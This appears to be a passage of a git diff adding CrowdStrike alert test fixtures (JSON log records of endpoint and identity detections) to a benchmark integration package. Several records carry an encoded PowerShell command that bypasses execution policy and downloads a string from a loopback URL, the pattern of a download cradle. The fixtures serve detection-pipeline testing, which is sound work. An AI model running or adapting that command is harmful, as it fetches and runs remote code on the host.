QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} +{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual Machine"},"display_name":"TestTriggerInformational","email_sent":true,"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","global_prevalence":"common","grandparent_details":{"cmdline":"cmd crowdstrike_test_medium","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"2796","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17938741315","process_id":"17938741315","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:21Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","indicator_id":"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","ioc_context":[],"local_prevalence":"unique","local_process_id":"6028","logon_domain":"raquel-win10-3","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","name":"DemoInformationalPattern","objective":"Falcon Detection Method","parent_details":{"cmdline":"cmd crowdstrike_test_low","filename":"cmd.exe","filepath":"\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe","local_process_id":"4840","md5":"2b40c98ed0f7a1d3b091a3e8353132dc","process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17940808135","process_id":"17940808135","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","timestamp":"2025-06-06T10:20:32Z","user_graph_id":"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"},"parent_process_id":"17940808135","pattern_disposition":0,"pattern_disposition_description":"Detection, standard detection.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"containment_file_system":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"mfa_required":false,"operation_blocked":false,"policy_disabled":false,"prevention_provisioning_enabled":false,"process_blocked":false,"quarantine_file":false,"quarantine_machine":false,"registry_operation_blocked":false,"response_action_already_applied":false,"response_action_failed":false,"response_action_triggered":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":10307,"platform":"Windows","poly_id":"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==","priority_explanation":["[MOD] The severity of the detection: Informational"],"priority_value":10,"process_id":"17942810918","process_start_time":"1749205241","product":"epp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":10,"severity_name":"Informational","sha1":"0000000000000000000000000000000000000000","sha256":"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0","show_in_ui":true,"source_products":["Falcon Insight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"Falcon Overwatch","tactic_id":"CSTA0006","technique":"Malicious Activity","technique_id":"CST0002","template_instance_id":"1339","timestamp":"2025-06-06T10:20:41.789Z","tree_id":"17181460644","tree_root":"17934037600","triggering_process_graph_id":"pid:7940b10993e844e398f83bd92aa92b8f:17942810918","type":"ldt","updated_timestamp":"2025-06-06T10:21:50.710758858Z","user_id":"S-1-5-21-2765107603-2663188678-2286454264-500","user_name":"win10_user3"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log new file mode 100644 index 0000000000..c0e095d6dd --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log @@ -0,0 +1,10 @@ +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"has_script_or_module_ioc":"true","id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"is_synthetic_quarantine_disposition":true,"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","overwatch_note":"Activity Notice: OverWatch has observed XYZ","overwatch_note_timestamp":"2025-03-01T15:31:00Z","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"rule_group_id":"1b27b7f123c44e15a13fe7f44801d123","rule_group_name":"Windows Group","rule_instance_created_by":"myuser@mydomain.com","rule_instance_id":"123","rule_instance_name":"INSTANCE-1","rule_instance_version":"1","scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"38293534662e48c99f33c61631b3536d","aggregate_id":"aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","cid":"4446934rf3fdb64ec3056ddfb96e","composite_id":"874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","confidence":80,"context_timestamp":"2024-08-16T18:43:44.242Z","crawled_timestamp":"2024-08-16T18:49:02.798354466Z","created_timestamp":"2024-08-16T18:45:02.987127397Z","data_domains":["Identity"],"description":"A user denied a policy identity verification request","display_name":"Identity verification denied","end_time":"2024-08-16T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","idp_policy_mfa_factor_type":"32769","idp_policy_mfa_provider":"14","idp_policy_rule_id":"1B82F2DE-2A08-49E0-8F85-AD46996F9A65","idp_policy_rule_name":"admin - RDP Access to TIER-0 Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"Gain Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"} +{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"